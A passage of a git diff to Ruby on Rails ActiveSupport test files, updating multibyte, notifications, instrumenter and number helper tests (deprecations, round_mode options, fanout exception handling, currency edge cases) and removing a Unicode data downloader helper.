-      assert_equal "s?me string 123", "søme string 123".mb_chars.to_s
-    end
+    assert_deprecated ActiveSupport.deprecator do
+      with_custom_encoder(AsciiOnlyEncoder) do
+        assert_equal "s?me string 123", "søme string 123".mb_chars.to_s
+      end
 
-    assert_equal "søme string 123", "søme string 123".mb_chars.to_s
+      assert_equal "søme string 123", "søme string 123".mb_chars.to_s
+    end
   end
 end
diff --git a/activesupport/test/multibyte_test_helpers.rb b/activesupport/test/multibyte_test_helpers.rb
index a70516bb0823e..e309de802ae07 100644
--- a/activesupport/test/multibyte_test_helpers.rb
+++ b/activesupport/test/multibyte_test_helpers.rb
@@ -1,32 +1,15 @@
-module MultibyteTestHelpers
-  class Downloader
-    def self.download(from, to)
-      unless File.exist?(to)
-        unless File.exist?(File.dirname(to))
-          system "mkdir -p #{File.dirname(to)}"
-        end
-        open(from) do |source|
-          File.open(to, "w") do |target|
-            source.each_line do |l|
-              target.write l
-            end
-          end
-        end
-      end
-      true
-    end
-  end
+# frozen_string_literal: true
 
-  UNIDATA_URL = "http://www.unicode.org/Public/#{ActiveSupport::Multibyte::Unicode::UNICODE_VERSION}/ucd"
-  CACHE_DIR = "#{Dir.tmpdir}/cache/unicode_conformance/#{ActiveSupport::Multibyte::Unicode::UNICODE_VERSION}"
-  FileUtils.mkdir_p(CACHE_DIR)
-
-  UNICODE_STRING = "����".freeze
-  ASCII_STRING = "ohayo".freeze
-  BYTE_STRING = "\270\236\010\210\245".force_encoding("ASCII-8BIT").freeze
+module MultibyteTestHelpers
+  # We use Symbol#to_s to create these strings so warnings are emitted if they are mutated
+  UNICODE_STRING = :"����".to_s
+  ASCII_STRING = :"ohayo".to_s
+  BYTE_STRING = "\270\236\010\210\245".b.freeze
 
   def chars(str)
-    ActiveSupport::Multibyte::Chars.new(str)
+    assert_deprecated ActiveSupport.deprecator do
+      ActiveSupport::Multibyte::Chars.new(str)
+    end
   end
 
   def inspect_codepoints(str)
diff --git a/activesupport/test/multibyte_unicode_database_test.rb b/activesupport/test/multibyte_unicode_database_test.rb
deleted file mode 100644
index 372478293083e..0000000000000
--- a/activesupport/test/multibyte_unicode_database_test.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-require "abstract_unit"
-
-class MultibyteUnicodeDatabaseTest < ActiveSupport::TestCase
-  include ActiveSupport::Multibyte::Unicode
-
-  def setup
-    @ucd = UnicodeDatabase.new
-  end
-
-  UnicodeDatabase::ATTRIBUTES.each do |attribute|
-    define_method "test_lazy_loading_on_attribute_access_of_#{attribute}" do
-      assert_called(@ucd, :load) do
-        @ucd.send(attribute)
-      end
-    end
-  end
-
-  def test_load
-    @ucd.load
-    UnicodeDatabase::ATTRIBUTES.each do |attribute|
-      assert @ucd.send(attribute).length > 1
-    end
-  end
-end
diff --git a/activesupport/test/notifications/evented_notification_test.rb b/activesupport/test/notifications/evented_notification_test.rb
index 24c5befec3366..fa96faff20fbd 100644
--- a/activesupport/test/notifications/evented_notification_test.rb
+++ b/activesupport/test/notifications/evented_notification_test.rb
@@ -1,8 +1,13 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 
 module ActiveSupport
   module Notifications
     class EventedTest < ActiveSupport::TestCase
+      # we expect all exception types to be handled, so test with the most basic type
+      class BadListenerException < Exception; end
+
       class Listener
         attr_reader :events
 
@@ -25,6 +30,24 @@ def call(name, start, finish, id, payload)
         end
       end
 
+      class BadStartListener < Listener
+        def start(name, id, payload)
+          raise BadListenerException
+        end
+
+        def finish(name, id, payload)
+        end
+      end
+
+      class BadFinishListener < Listener
+        def start(name, id, payload)
+        end
+
+        def finish(name, id, payload)
+          raise BadListenerException
+        end
+      end
+
       def test_evented_listener
         notifier = Fanout.new
         listener = Listener.new
@@ -69,6 +92,68 @@ def test_listen_to_everything
         ], listener.events
       end
 
+      def test_listen_start_multiple_exception_consistency
+        notifier = Fanout.new
+        listener = Listener.new
+        notifier.subscribe nil, BadStartListener.new
+        notifier.subscribe nil, BadStartListener.new
+        notifier.subscribe nil, listener
+
+        error = assert_raises InstrumentationSubscriberError do
+          notifier.start  "hello", 1, {}
+        end
+        assert_instance_of BadListenerException, error.cause
+
+        error = assert_raises InstrumentationSubscriberError do
+          notifier.start  "world", 1, {}
+        end
+        assert_instance_of BadListenerException, error.cause
+
+        notifier.finish  "world", 1, {}
+        notifier.finish  "hello", 1, {}
+
+        assert_equal 4, listener.events.length
+        assert_equal [
+          [:start,  "hello", 1, {}],
+          [:start,  "world", 1, {}],
+          [:finish,  "world", 1, {}],
+          [:finish,  "hello", 1, {}],
+        ], listener.events
+      end
+
+      def test_listen_finish_multiple_exception_consistency
+        notifier = Fanout.new
+        listener = Listener.new
+        notifier.subscribe nil, BadFinishListener.new
+        notifier.subscribe nil, BadFinishListener.new
+        notifier.subscribe(nil) { |*args| raise "foo" }
+        notifier.subscribe(nil) { |obj| raise "foo" }
+        notifier.subscribe(nil, monotonic: true) { |obj| raise "foo" }
+        notifier.subscribe nil, listener
+
+        notifier.start  "hello", 1, {}
+        notifier.start  "world", 1, {}
+        error = assert_raises InstrumentationSubscriberError do
+          notifier.finish  "world", 1, {}
+        end
+        assert_equal 5, error.exceptions.count
+        assert_instance_of BadListenerException, error.cause
+
+        error = assert_raises InstrumentationSubscriberError do
+          notifier.finish  "hello", 1, {}
+        end
+        assert_equal 5, error.exceptions.count
+        assert_instance_of BadListenerException, error.cause
+
+        assert_equal 4, listener.events.length
+        assert_equal [
+          [:start,  "hello", 1, {}],
+          [:start,  "world", 1, {}],
+          [:finish,  "world", 1, {}],
+          [:finish,  "hello", 1, {}],
+        ], listener.events
+      end
+
       def test_evented_listener_priority
         notifier = Fanout.new
         listener = ListenerWithTimedSupport.new
@@ -82,6 +167,39 @@ def test_evented_listener_priority
           [:finish, "hi", 1, {}]
         ], listener.events
       end
+
+      def test_listen_to_regexp
+        notifier = Fanout.new
+        listener = Listener.new
+        notifier.subscribe(/[a-z]*.world/, listener)
+        notifier.start("hi.world", 1, {})
+        notifier.finish("hi.world", 2, {})
+        notifier.start("hello.world", 1, {})
+        notifier.finish("hello.world", 2, {})
+
+        assert_equal [
+          [:start, "hi.world", 1, {}],
+          [:finish, "hi.world", 2, {}],
+          [:start, "hello.world", 1, {}],
+          [:finish, "hello.world", 2, {}]
+        ], listener.events
+      end
+
+      def test_listen_to_regexp_with_exclusions
+        notifier = Fanout.new
+        listener = Listener.new
+        notifier.subscribe(/[a-z]*.world/, listener)
+        notifier.unsubscribe("hi.world")
+        notifier.start("hi.world", 1, {})
+        notifier.finish("hi.world", 2, {})
+        notifier.start("hello.world", 1, {})
+        notifier.finish("hello.world", 2, {})
+
+        assert_equal [
+          [:start, "hello.world", 1, {}],
+          [:finish, "hello.world", 2, {}]
+        ], listener.events
+      end
     end
   end
 end
diff --git a/activesupport/test/notifications/instrumenter_test.rb b/activesupport/test/notifications/instrumenter_test.rb
index 7eacc5cbe78bb..47f708a438da7 100644
--- a/activesupport/test/notifications/instrumenter_test.rb
+++ b/activesupport/test/notifications/instrumenter_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/notifications/instrumenter"
 
 module ActiveSupport
@@ -42,16 +44,63 @@ def test_instrument_yields_the_payload_for_further_modification
         assert_equal Hash[result: 2], payload
       end
 
+      def test_instrument_works_without_a_block
+        instrumenter.instrument("no.block", payload)
+        assert_equal 1, notifier.finishes.size
+        assert_equal "no.block", notifier.finishes.first.first
+      end
+
       def test_start
         instrumenter.start("foo", payload)
         assert_equal [["foo", instrumenter.id, payload]], notifier.starts
-        assert_predicate notifier.finishes, :empty?
+        assert_empty notifier.finishes
       end
 
       def test_finish
         instrumenter.finish("foo", payload)
         assert_equal [["foo", instrumenter.id, payload]], notifier.finishes
-        assert_predicate notifier.starts, :empty?
+        assert_empty notifier.starts
+      end
+
+      def test_record
+        called = false
+        event = instrumenter.new_event("foo", payload)
+        event.record {
+          called = true
+        }
+
+        assert called
+      end
+
+      def test_record_yields_the_payload_for_further_modification
+        event = instrumenter.new_event("awesome")
+        event.record { |p| p[:result] = 1 + 1 }
+        assert_equal 2, event.payload[:result]
+
+        assert_equal "awesome", event.name
+        assert_equal Hash[result: 2], event.payload
+        assert_equal instrumenter.id, event.transaction_id
+        assert_not_nil event.time
+        assert_not_nil event.end
+      end
+
+      def test_record_works_without_a_block
+        event = instrumenter.new_event("no.block", payload)
+        event.record
+
+        assert_equal "no.block", event.name
+        assert_equal payload, event.payload
+        assert_equal instrumenter.id, event.transaction_id
+        assert_not_nil event.time
+        assert_not_nil event.end
+      end
+
+      def test_record_with_exception
+        event = instrumenter.new_event("crash", payload)
+        assert_raises RuntimeError do
+          event.record { raise "Oopsies" }
+        end
+        assert_equal "Oopsies", event.payload[:exception_object].message
       end
     end
   end
diff --git a/activesupport/test/notifications_test.rb b/activesupport/test/notifications_test.rb
index 11f743519f7a3..87416602bb2f2 100644
--- a/activesupport/test/notifications_test.rb
+++ b/activesupport/test/notifications_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/core_ext/module/delegation"
 
 module Notifications
@@ -18,12 +20,186 @@ def teardown
     end
 
   private
-
     def event(*args)
       ActiveSupport::Notifications::Event.new(*args)
     end
   end
 
+  class SubscribeEventObjectsTest < TestCase
+    def test_subscribe_events
+      events = []
+      @notifier.subscribe do |event|
+        events << event
+      end
+
+      ActiveSupport::Notifications.instrument("foo")
+      event = events.first
+      assert event, "should have an event"
+      assert_operator event.allocations, :>, 0
+      assert_operator event.cpu_time, :>, 0
+      assert_operator event.idle_time, :>=, 0
+      assert_operator event.duration, :>, 0
+    end
+
+    def test_subscribe_to_events_where_payload_is_changed_during_instrumentation
+      @notifier.subscribe do |event|
+        assert_equal "success!", event.payload[:my_key]
+      end
+
+      ActiveSupport::Notifications.instrument("foo") do |payload|
+        payload[:my_key] = "success!"
+      end
+    end
+
+    def test_subscribe_to_events_can_handle_nested_hashes_in_the_paylaod
+      @notifier.subscribe do |event|
+        assert_equal "success!", event.payload[:some_key][:key_one]
+        assert_equal "great_success!", event.payload[:some_key][:key_two]
+      end
+
+      ActiveSupport::Notifications.instrument("foo", some_key: { key_one: "success!" }) do |payload|
+        payload[:some_key][:key_two] = "great_success!"
+      end
+    end
+
+    def test_subscribe_via_top_level_api
+      old_notifier = ActiveSupport::Notifications.notifier
+      ActiveSupport::Notifications.notifier = ActiveSupport::Notifications::Fanout.new
+
+      event = nil
+      ActiveSupport::Notifications.subscribe("foo") do |e|
+        event = e
+      end
+
+      ActiveSupport::Notifications.instrument("foo") do
+        100.times { Object.new } # allocate at least 100 objects
+      end
+
+      assert event
+      assert_operator event.allocations, :>=, 100
+    ensure
+      ActiveSupport::Notifications.notifier = old_notifier
+    end
+
+    def test_subscribe_with_a_single_arity_lambda_listener
+      event_name = nil
+      listener = ->(event) do
+        event_name = event.name
+      end
+
+      @notifier.subscribe(&listener)
+      ActiveSupport::Notifications.instrument("event_name")
+
+      assert_equal "event_name", event_name
+    end
+
+    def test_subscribe_with_a_single_arity_callable_listener
+      event_name = nil
+      listener = Class.new do
+        define_method :call do |event|
+          event_name = event.name
+        end
+      end
+
+      @notifier.subscribe(nil, listener.new)
+      ActiveSupport::Notifications.instrument("event_name")
+
+      assert_equal "event_name", event_name
+    end
+  end
+
+  class TimedAndMonotonicTimedSubscriberTest < TestCase
+    def test_subscribe
+      event_name = "foo"
+      class_of_started = nil
+      class_of_finished = nil
+
+      ActiveSupport::Notifications.subscribe(event_name) do |name, started, finished, unique_id, data|
+        class_of_started = started.class
+        class_of_finished = finished.class
+      end
+
+      ActiveSupport::Notifications.instrument(event_name)
+
+      assert_equal [Time, Time], [class_of_started, class_of_finished]
+    end
+
+    def test_monotonic_subscribe
+      event_name = "foo"
+      class_of_started = nil
+      class_of_finished = nil
+
+      ActiveSupport::Notifications.monotonic_subscribe(event_name) do |name, started, finished, unique_id, data|
+        class_of_started = started.class
+        class_of_finished = finished.class
+      end
+
+      ActiveSupport::Notifications.instrument(event_name)
+
+      assert_equal [Float, Float], [class_of_started, class_of_finished]
+    end
+  end
+
+  class BuildHandleTest < TestCase
+    def test_interleaved_event
+      event_name = "foo"
+      actual_times = []
+
+      ActiveSupport::Notifications.subscribe(event_name) do |name, started, finished, unique_id, data|
+        actual_times << [started, finished]
+      end
+
+      times = (1..4).map { |s| Time.new(2020, 1, 1) + s }
+
+      instrumenter = ActiveSupport::Notifications.instrumenter
+      travel_to times[0]
+      handle1 = instrumenter.build_handle(event_name, {})
+      handle2 = instrumenter.build_handle(event_name, {})
+
+      handle1.start
+      travel_to times[1]
+      handle2.start
+      travel_to times[2]
+      handle1.finish
+      travel_to times[3]
+      handle2.finish
+
+      assert_equal [
+        # from when start1 was returned, to when its state passed to finish
+        [times[0], times[2]],
+        # from when start2 was returned, to when its state passed to finish
+        [times[1], times[3]],
+      ], actual_times
+    end
+
+    def test_subscribed_interleaved_with_event
+      instrumenter = ActiveSupport::Notifications.instrumenter
+
+      name    = "foo"
+      events1 = []
+      events2 = []
+
+      callback1 = lambda { |event| events1 << event }
+      callback2 = lambda { |event| events2 << event }
+
+      ActiveSupport::Notifications.subscribed(callback1, name) do
+        handle = instrumenter.build_handle(name, {})
+        handle.start
+
+        ActiveSupport::Notifications.subscribed(callback2, name) do
+          handle.finish
+        end
+      end
+
+      assert_equal 1, events1.size
+      assert_empty events2
+
+      assert_equal name, events1[0].name
+      assert events1[0].time
+      assert events1[0].end
+    end
+  end
+
   class SubscribedTest < TestCase
     def test_subscribed
       name     = "foo"
@@ -43,7 +219,25 @@ def test_subscribed
       assert_equal expected, events
     end
 
-    def test_subsribing_to_instrumentation_while_inside_it
+    def test_subscribed_all_messages
+      name     = "foo"
+      name2    = name * 2
+      expected = [name, name2, name]
+
+      events   = []
+      callback = lambda { |*_| events << _.first }
+      ActiveSupport::Notifications.subscribed(callback) do
+        ActiveSupport::Notifications.instrument(name)
+        ActiveSupport::Notifications.instrument(name2)
+        ActiveSupport::Notifications.instrument(name)
+      end
+      assert_equal expected, events
+
+      ActiveSupport::Notifications.instrument(name)
+      assert_equal expected, events
+    end
+
+    def test_subscribing_to_instrumentation_while_inside_it
       # the repro requires that there are no evented subscribers for the "foo" event,
       # so we have to duplicate some of the setup code
       old_notifier = ActiveSupport::Notifications.notifier
@@ -51,12 +245,57 @@ def test_subsribing_to_instrumentation_while_inside_it
 
       ActiveSupport::Notifications.subscribe("foo", TestSubscriber.new)
 
-      ActiveSupport::Notifications.instrument("foo") do
-        ActiveSupport::Notifications.subscribe("foo") {}
+      assert_nothing_raised do
+        ActiveSupport::Notifications.instrument("foo") do
+          ActiveSupport::Notifications.subscribe("foo") { }
+        end
       end
     ensure
       ActiveSupport::Notifications.notifier = old_notifier
     end
+
+    def test_timed_subscribed
+      event_name = "foo"
+      class_of_started = nil
+      class_of_finished = nil
+      callback = lambda do |name, started, finished, unique_id, data|
+        class_of_started = started.class
+        class_of_finished = finished.class
+      end
+
+      ActiveSupport::Notifications.subscribed(callback, event_name) do
+        ActiveSupport::Notifications.instrument(event_name)
+      end
+
+      ActiveSupport::Notifications.instrument(event_name)
+
+      assert_equal [Time, Time], [class_of_started, class_of_finished]
+    end
+
+    def test_monotonic_timed_subscribed
+      event_name = "foo"
+      class_of_started = nil
+      class_of_finished = nil
+      callback = lambda do |name, started, finished, unique_id, data|
+        class_of_started = started.class
+        class_of_finished = finished.class
+      end
+
+      ActiveSupport::Notifications.subscribed(callback, event_name, monotonic: true) do
+        ActiveSupport::Notifications.instrument(event_name)
+      end
+
+      ActiveSupport::Notifications.instrument(event_name)
+
+      assert_equal [Float, Float], [class_of_started, class_of_finished]
+    end
+  end
+
+  class InspectTest < TestCase
+    def test_inspect_output_is_small
+      expected = "#<ActiveSupport::Notifications::Fanout (2 patterns)>"
+      assert_equal expected, @notifier.inspect
+    end
   end
 
   class UnsubscribeTest < TestCase
@@ -90,6 +329,25 @@ def test_unsubscribing_by_name_leaves_the_other_subscriptions
       assert_equal [["named.subscription", :foo], ["named.subscription", :foo]], @events
     end
 
+    def test_unsubscribing_by_name_leaves_regexp_matched_subscriptions
+      @matched_events = []
+      @notifier.subscribe(/subscription/) { |*args| @matched_events << event(*args) }
+      @notifier.publish("named.subscription", :before)
+      @notifier.wait
+      [@events, @named_events, @matched_events].each do |collector|
+        assert_includes(collector, ["named.subscription", :before])
+      end
+      @notifier.unsubscribe("named.subscription")
+      @notifier.publish("named.subscription", :after)
+      @notifier.publish("other.subscription", :after)
+      @notifier.wait
+      assert_includes(@events, ["named.subscription", :after])
+      assert_includes(@events, ["other.subscription", :after])
+      assert_includes(@matched_events, ["other.subscription", :after])
+      assert_not_includes(@matched_events, ["named.subscription", :after])
+      assert_not_includes(@named_events, ["named.subscription", :after])
+    end
+
   private
     def event(*args)
       args
@@ -128,9 +386,7 @@ def test_publishing_after_a_new_subscribe_works
       @notifier.publish :foo
       @notifier.publish :foo
 
-      @notifier.subscribe("not_existent") do |*args|
-        @events << ActiveSupport::Notifications::Event.new(*args)
-      end
+      @notifier.subscribe("not_existent") { |event| @events << event }
 
       @notifier.publish :foo
       @notifier.publish :foo
@@ -245,32 +501,34 @@ def test_event_is_pushed_even_without_block
 
   class EventTest < TestCase
     def test_events_are_initialized_with_details
+      time = Time.now.to_f
+      event = event(:foo, time, time + 0.01, random_id, {})
+
+      assert_equal :foo, event.name
+      assert_in_epsilon 10.0, event.duration, 0.01
+    end
+
+    def test_event_cpu_time_does_not_raise_error_when_start_or_finished_not_called
       time = Time.now
       event = event(:foo, time, time + 0.01, random_id, {})
 
-      assert_equal    :foo, event.name
-      assert_equal    time, event.time
-      assert_in_delta 10.0, event.duration, 0.00001
+      assert_equal 0, event.cpu_time
     end
 
     def test_events_consumes_information_given_as_payload
-      event = event(:foo, Time.now, Time.now + 1, random_id, payload: :bar)
+      event = event(:foo, Process.clock_gettime(Process::CLOCK_MONOTONIC), Process.clock_gettime(Process::CLOCK_MONOTONIC) + 1, random_id, payload: :bar)
       assert_equal Hash[payload: :bar], event.payload
     end
 
-    def test_event_is_parent_based_on_children
-      time = Time.utc(2009, 01, 01, 0, 0, 1)
-
-      parent    = event(:foo, Time.utc(2009), Time.utc(2009) + 100, random_id, {})
-      child     = event(:foo, time, time + 10, random_id, {})
-      not_child = event(:foo, time, time + 100, random_id, {})
+    def test_subscribe_raises_error_on_non_supported_arguments
+      notifier = ActiveSupport::Notifications::Fanout.new
 
-      parent.children << child
-
-      assert parent.parent_of?(child)
-      assert !child.parent_of?(parent)
-      assert !parent.parent_of?(not_child)
-      assert !not_child.parent_of?(parent)
+      assert_raises ArgumentError do
+        notifier.subscribe(:symbol) { |*_| }
+      end
+      assert_raises ArgumentError do
+        notifier.subscribe(Object.new) { |*_| }
+      end
     end
 
     private
diff --git a/activesupport/test/number_helper_i18n_test.rb b/activesupport/test/number_helper_i18n_test.rb
index a1d1c41dc2891..cce0be887286f 100644
--- a/activesupport/test/number_helper_i18n_test.rb
+++ b/activesupport/test/number_helper_i18n_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/number_helper"
 require "active_support/core_ext/hash/keys"
 
@@ -9,7 +11,7 @@ class NumberHelperI18nTest < ActiveSupport::TestCase
     def setup
       I18n.backend.store_translations "ts",
         number: {
-        format: { precision: 3, delimiter: ",", separator: ".", significant: false, strip_insignificant_zeros: false },
+        format: { precision: 3, round_mode: :half_even, delimiter: ",", separator: ".", significant: false, strip_insignificant_zeros: false },
         currency: { format: { unit: "&$", format: "%u - %n", negative_format: "(%u - %n)", precision: 2 } },
         human: {
           format: {
@@ -33,7 +35,7 @@ def setup
               thousand: "t",
               million: "m",
               billion: "b",
-              trillion: "t" ,
+              trillion: "t",
               quadrillion: "q"
             }
           }
@@ -75,20 +77,25 @@ def test_number_to_currency_without_currency_negative_format
     end
 
     def test_number_with_i18n_precision
-      #Delimiter was set to ""
+      # Delimiter was set to ""
       assert_equal("10000", number_to_rounded(10000, locale: "ts"))
 
-      #Precision inherited and significant was set
+      # Precision inherited and significant was set
       assert_equal("1.00", number_to_rounded(1.0, locale: "ts"))
     end
 
+    def test_number_with_i18n_round_mode
+      # round_mode set as :half_even instead of :default
+      assert_equal("12344", number_to_rounded(12344.5, locale: "ts", precision: 0))
+    end
+
     def test_number_with_i18n_precision_and_empty_i18n_store
       assert_equal("123456789.123", number_to_rounded(123456789.123456789, locale: "empty"))
       assert_equal("1.000", number_to_rounded(1.0000, locale: "empty"))
     end
 
     def test_number_with_i18n_delimiter
-      #Delimiter "," and separator "."
+      # Delimiter "," and separator "."
       assert_equal("1,000,000.234", number_to_delimited(1000000.234, locale: "ts"))
     end
 
@@ -112,7 +119,7 @@ def test_number_to_i18n_percentage_and_empty_i18n_store
     end
 
     def test_number_to_i18n_human_size
-      #b for bytes and k for kbytes
+      # b for bytes and k for kbytes
       assert_equal("2 k", number_to_human_size(2048, locale: "ts"))
       assert_equal("42 b", number_to_human_size(42, locale: "ts"))
     end
@@ -123,11 +130,11 @@ def test_number_to_i18n_human_size_with_empty_i18n_store
     end
 
     def test_number_to_human_with_default_translation_scope
-      #Using t for thousand
+      # Using t for thousand
       assert_equal "2 t", number_to_human(2000, locale: "ts")
-      #Significant was set to true with precision 2, using b for billion
+      # Significant was set to true with precision 2, using b for billion
       assert_equal "1.2 b", number_to_human(1234567890, locale: "ts")
-      #Using pluralization (Ten/Tens and Tenth/Tenths)
+      # Using pluralization (Ten/Tens and Tenth/Tenths)
       assert_equal "1 Tenth", number_to_human(0.1, locale: "ts")
       assert_equal "1.3 Tenth", number_to_human(0.134, locale: "ts")
       assert_equal "2 Tenths", number_to_human(0.2, locale: "ts")
@@ -142,7 +149,7 @@ def test_number_to_human_with_empty_i18n_store
     end
 
     def test_number_to_human_with_custom_translation_scope
-      #Significant was set to true with precision 2, with custom translated units
+      # Significant was set to true with precision 2, with custom translated units
       assert_equal "4.3 cm", number_to_human(0.0432, locale: "ts", units: :custom_units_for_number_to_human)
     end
   end
diff --git a/activesupport/test/number_helper_test.rb b/activesupport/test/number_helper_test.rb
index dc0c34d4e260e..1dfb09bcff050 100644
--- a/activesupport/test/number_helper_test.rb
+++ b/activesupport/test/number_helper_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/number_helper"
 require "active_support/core_ext/string/output_safety"
 
@@ -13,6 +15,16 @@ class TestClassWithClassNumberHelpers
         extend ActiveSupport::NumberHelper
       end
 
+      class NumberWithToD
+        def initialize(number)
+          @number = number
+        end
+
+        def to_d
+          @number.to_d
+        end
+      end
+
       def setup
         @instance_with_helpers = TestClassWithInstanceNumberHelpers.new
       end
@@ -41,6 +53,10 @@ def exabytes(number)
         petabytes(number) * 1024
       end
 
+      def zettabytes(number)
+        exabytes(number) * 1024
+      end
+
       def test_number_to_phone
         [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
           assert_equal("555-1234", number_helper.number_to_phone(5551234))
@@ -63,18 +79,33 @@ def test_number_to_phone
 
       def test_number_to_currency
         [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal("$123,456,789,012,345,678.91", number_helper.number_to_currency("123456789012345678.91"))
           assert_equal("$1,234,567,890.50", number_helper.number_to_currency(1234567890.50))
           assert_equal("$1,234,567,890.51", number_helper.number_to_currency(1234567890.506))
           assert_equal("-$1,234,567,890.50", number_helper.number_to_currency(-1234567890.50))
           assert_equal("-$ 1,234,567,890.50", number_helper.number_to_currency(-1234567890.50, format: "%u %n"))
           assert_equal("($1,234,567,890.50)", number_helper.number_to_currency(-1234567890.50, negative_format: "(%u%n)"))
           assert_equal("$1,234,567,892", number_helper.number_to_currency(1234567891.50, precision: 0))
+          assert_equal("$1,234,567,891", number_helper.number_to_currency(1234567891.50, precision: 0, round_mode: :down))
           assert_equal("$1,234,567,890.5", number_helper.number_to_currency(1234567890.50, precision: 1))
           assert_equal("&pound;1234567890,50", number_helper.number_to_currency(1234567890.50, unit: "&pound;", separator: ",", delimiter: ""))
           assert_equal("$1,234,567,890.50", number_helper.number_to_currency("1234567890.50"))
           assert_equal("1,234,567,890.50 K&#269;", number_helper.number_to_currency("1234567890.50", unit: "K&#269;", format: "%n %u"))
           assert_equal("1,234,567,890.50 - K&#269;", number_helper.number_to_currency("-1234567890.50", unit: "K&#269;", format: "%n %u", negative_format: "%n - %u"))
           assert_equal("0.00", number_helper.number_to_currency(+0.0, unit: "", negative_format: "(%n)"))
+          assert_equal("$0", number_helper.number_to_currency(-0.456789, precision: 0))
+          assert_equal("$0.0", number_helper.number_to_currency(-0.0456789, precision: 1))
+          assert_equal("$0.00", number_helper.number_to_currency(-0.00456789, precision: 2))
+          assert_equal("-$1", number_helper.number_to_currency(-0.5, precision: 0))
+          assert_equal("$1,11", number_helper.number_to_currency("1,11"))
+          assert_equal("$0,11", number_helper.number_to_currency("0,11"))
+          assert_equal("$,11", number_helper.number_to_currency(",11"))
+          assert_equal("-$1,11", number_helper.number_to_currency("-1,11"))
+          assert_equal("-$0,11", number_helper.number_to_currency("-0,11"))
+          assert_equal("-$,11", number_helper.number_to_currency("-,11"))
+          assert_equal("$0.00", number_helper.number_to_currency(-0.0))
+          assert_equal("$0.00", number_helper.number_to_currency("-0.0"))
+          assert_equal("$1.23", number_helper.number_to_currency(NumberWithToD.new(1.23)))
         end
       end
 
@@ -83,6 +114,7 @@ def test_number_to_percentage
           assert_equal("100.000%", number_helper.number_to_percentage(100))
           assert_equal("100%", number_helper.number_to_percentage(100, precision: 0))
           assert_equal("302.06%", number_helper.number_to_percentage(302.0574, precision: 2))
+          assert_equal("302.05%", number_helper.number_to_percentage(302.0574, precision: 2, round_mode: :down))
           assert_equal("100.000%", number_helper.number_to_percentage("100"))
           assert_equal("1000.000%", number_helper.number_to_percentage("1000"))
           assert_equal("123.4%", number_helper.number_to_percentage(123.400, precision: 3, strip_insignificant_zeros: true))
@@ -133,6 +165,7 @@ def test_to_rounded
           assert_equal("111.235", number_helper.number_to_rounded(111.2346))
           assert_equal("31.83", number_helper.number_to_rounded(31.825, precision: 2))
           assert_equal("111.23", number_helper.number_to_rounded(111.2346, precision: 2))
+          assert_equal("111.24", number_helper.number_to_rounded(111.2346, precision: 2, round_mode: :up))
           assert_equal("111.00", number_helper.number_to_rounded(111, precision: 2))
           assert_equal("111.235", number_helper.number_to_rounded("111.2346"))
           assert_equal("31.83", number_helper.number_to_rounded("31.825", precision: 2))
@@ -185,6 +218,7 @@ def test_to_rounded_with_significant_digits
           assert_equal "10.0", number_helper.number_to_rounded(9.995, precision: 3, significant: true)
           assert_equal "9.99", number_helper.number_to_rounded(9.994, precision: 3, significant: true)
           assert_equal "11.0", number_helper.number_to_rounded(10.995, precision: 3, significant: true)
+          assert_equal "123000", number_helper.number_to_rounded(123987, precision: 3, significant: true, round_mode: :down)
 
           assert_equal "9775.0000000000000000", number_helper.number_to_rounded(9775, precision: 20, significant: true)
           assert_equal "9775.0000000000000000", number_helper.number_to_rounded(9775.0, precision: 20, significant: true)
@@ -194,6 +228,8 @@ def test_to_rounded_with_significant_digits
           assert_equal "9775.0000000000000000", number_helper.number_to_rounded("9775", precision: 20, significant: true)
           assert_equal "9775." + "0" * 96, number_helper.number_to_rounded("9775", precision: 100, significant: true)
           assert_equal("97.7", number_helper.number_to_rounded(Rational(9772, 100), precision: 3, significant: true))
+          assert_equal "28729870200000000000000", number_helper.number_to_rounded(0.287298702e23.to_d, precision: 0, significant: true)
+          assert_equal "-Inf", number_helper.number_to_rounded(-Float::INFINITY, precision: 0, significant: true)
         end
       end
 
@@ -229,11 +265,12 @@ def test_number_number_to_human_size
           assert_equal "1.12 TB",    number_helper.number_to_human_size(1234567890123)
           assert_equal "1.1 PB",   number_helper.number_to_human_size(1234567890123456)
           assert_equal "1.07 EB",   number_helper.number_to_human_size(1234567890123456789)
-          assert_equal "1030 EB",   number_helper.number_to_human_size(exabytes(1026))
+          assert_equal "1020 EB",   number_helper.number_to_human_size(exabytes(1023))
           assert_equal "444 KB",    number_helper.number_to_human_size(kilobytes(444))
           assert_equal "1020 MB",   number_helper.number_to_human_size(megabytes(1023))
           assert_equal "3 TB",      number_helper.number_to_human_size(terabytes(3))
           assert_equal "1.2 MB",   number_helper.number_to_human_size(1234567, precision: 2)
+          assert_equal "1.1 MB",   number_helper.number_to_human_size(1234567, precision: 2, round_mode: :down)
           assert_equal "3 Bytes",   number_helper.number_to_human_size(3.14159265, precision: 4)
           assert_equal "123 Bytes", number_helper.number_to_human_size("123")
           assert_equal "1 KB",   number_helper.number_to_human_size(kilobytes(1.0123), precision: 2)
@@ -241,6 +278,19 @@ def test_number_number_to_human_size
           assert_equal "10 KB",   number_helper.number_to_human_size(kilobytes(10.000), precision: 4)
           assert_equal "1 Byte",   number_helper.number_to_human_size(1.1)
           assert_equal "10 Bytes", number_helper.number_to_human_size(10)
+          assert_equal "16 ZB", number_helper.number_to_human_size(zettabytes(16))
+        end
+      end
+
+      def test_number_number_to_human_size_with_negative_number
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal "-1 Bytes",   number_helper.number_to_human_size(-1)
+          assert_equal "-3 Bytes",   number_helper.number_to_human_size(-3.14159265)
+          assert_equal "-123 Bytes", number_helper.number_to_human_size(-123)
+          assert_equal "-12.1 KB",   number_helper.number_to_human_size(-12345)
